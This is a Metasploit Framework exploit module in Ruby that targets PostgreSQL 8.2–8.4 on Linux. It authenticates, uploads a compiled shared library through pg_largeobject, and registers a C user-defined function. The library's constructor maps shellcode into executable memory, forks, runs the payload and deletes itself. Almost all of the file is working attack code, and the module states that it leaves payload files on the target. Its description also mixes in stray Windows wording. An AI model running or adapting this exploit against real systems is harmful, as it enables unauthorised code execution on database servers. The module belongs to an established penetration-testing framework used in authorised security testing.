###
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/postgres'
load 'lib/msf/core/exploit/postgres.rb'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Postgres
	include Msf::Auxiliary::Report

	# Creates an instance of this module.
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PostgreSQL for Linux Payload Execution',
			'Description'    => %q{
				This module creates and enables a custom UDF (user defined function) on the
				target host via the UPDATE pg_largeobject method of binary injection. On
				default Microsoft Linux installations of PostgreSQL (=< 8.4), the postgres
				service account may write to the Windows temp directory, and may source
				UDF Shared Libraries's from there as well.

				PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on are valid targets for this module.

				NOTE: This module will leave a payload executable on the target system when the
				attack is finished, as well as the UDF SO and the OID.
			},
			'Author'         =>
			[
				'midnitesnake', # this Metasploit module
				'egypt',        # on-the-fly compiled .so technique
				'todb'          # original windows module this is based on
			],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
				],
			'Platform'       => 'linux',
			'Payload'        =>
				{
					'Space'    => 65535,
					'DisableNops'  => true,
				},
			'Targets'        =>
				[
					[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
					[ 'Linux x86_64',    { 'Arch' => ARCH_X86_64 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 05 2007'

			))

		deregister_options('SQL', 'RETURN_ROWSET')
	end

	# Buncha stuff to make typing easier.
	def username; datastore['USERNAME']; end
	def password; datastore['PASSWORD']; end
	def database; datastore['DATABASE']; end
	def rhost; datastore['rhost']; end
	def rport; datastore['rport']; end
	def verbose; datastore['VERBOSE']; end
	def bits; datastore['BITS'];end

	def execute_command(cmd, opts)
		postgres_sys_exec(cmd)
	end

	def exploit
		version = do_login(username,password,database)
		case version
		when :noauth; print_error "Authentication failed."; return
		when :noconn; print_error "Connection failed."; return
		else
			print_status("#{rhost}:#{rport} - #{version}")
		end

		fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
		tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)

		unless tbl && fld && so && oid
			print_error "Could not upload the UDF SO"
			return
		end

		print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
		begin
			func_name = Rex::Text.rand_text_alpha(10)
			postgres_query(
				"create or replace function pg_temp.#{func_name}()"+
				" returns void as '#{so}','#{func_name}'"+
				" language 'C' strict immutable"
			)
		rescue
		end
		postgres_logout if @postgres_conn

	end


	# Authenticate to the postgres server.
	#
	# Returns the version from #postgres_fingerprint
	def do_login(user=nil,pass=nil,database=nil)
		begin
			password = pass || postgres_password
			vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
			result = postgres_fingerprint(
				:db => database,
				:username => user,
				:password => password
			)
			if result[:auth]
				report_service(
					:host => rhost,
					:port => rport,
					:name => "postgres",
					:info => result.values.first
				)
				return result[:auth]
			else
				return :noauth
			end
		rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
			return :noconn
		end
	end


	def payload_so(filename)
		shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
		#shellcode = "\\xcc"

		c = %Q^
			int _exit(int);
			int printf(const char*, ...);
			int perror(const char*);
			void *mmap(int, int, int, int, int, int);
			void *memcpy(void *, const void *, int);
			int mprotect(void *, int, int);
			int fork();
			int unlink(const char *pathname);

			#define MAP_PRIVATE 2
			#define MAP_ANONYMOUS 32
			#define PROT_READ 1
			#define PROT_WRITE 2
			#define PROT_EXEC 4

			#define PAGESIZE 0x1000

			char shellcode[] = "#{shellcode}";

			void run_payload(void) __attribute__((constructor));

			void run_payload(void)
			{
				int (*fp)();
				fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

				memcpy(fp, shellcode, sizeof(shellcode));
				if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
					_exit(1);
				}
				if (!fork()) {
					fp();
				}

				unlink("#{filename}");
				return;
			}

		^

		cpu = case target_arch.first
			when ARCH_X86; Metasm::Ia32.new
			when ARCH_X86_64; Metasm::X86_64.new
			end
		payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")

		so_file = payload_so.encode_string(:lib)

		so_file
	end
end